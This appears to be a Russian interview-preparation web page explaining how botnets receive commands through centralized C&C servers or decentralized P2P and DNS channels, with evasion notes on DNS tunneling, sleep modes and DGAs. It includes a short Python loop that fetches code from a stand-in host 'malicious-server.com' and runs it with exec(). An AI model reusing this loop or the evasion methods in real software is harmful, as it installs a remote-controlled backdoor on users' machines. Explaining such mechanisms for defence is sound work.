Встречается на собеседованиях • сегодня

Как Botnet получает команду

Ботнет получает команды через централизованный или децентрализованный механизм управления.

Централизованный подход:

  • Использует C&C (Command and Control) сервер, к которому боты периодически подключаются (HTTP, IRC, Telegram API).
  • Пример:
python
import requests
while True:
    response = requests.get("http://malicious-server.com/commands")
    if response.status_code == 200:
        exec(response.text)  # Опасный код!

Децентрализованный подход:

  • P2P-сети, DNS-запросы или скрытые каналы (например, через соцсети/публичные API).
  • Боты обмениваются зашифрованными сообщениями, избегая единой точки отказа.

Нюансы:

  • Обфускация (DNS-tunneling, HTTPS-трафик).
  • "Спящий" режим для избежания детектирования.
  • Динамическая смена C&C-серверов (DGA — Domain Generation Algorithm).

⚠️ Важно: это описание для понимания защиты, а не инструкция.

Sophi
Софи собрала все вопросы. Тренируйся и получай
офферы быстрее!
Попробовать бесплатноArrow

Следующий вопрос

Это единственный вопрос по вашему фильтру

как отвечать на вопрос
пример собеседования
фреймворки на собеседовании
типичные вопросы junior
интервью вопросы и ответы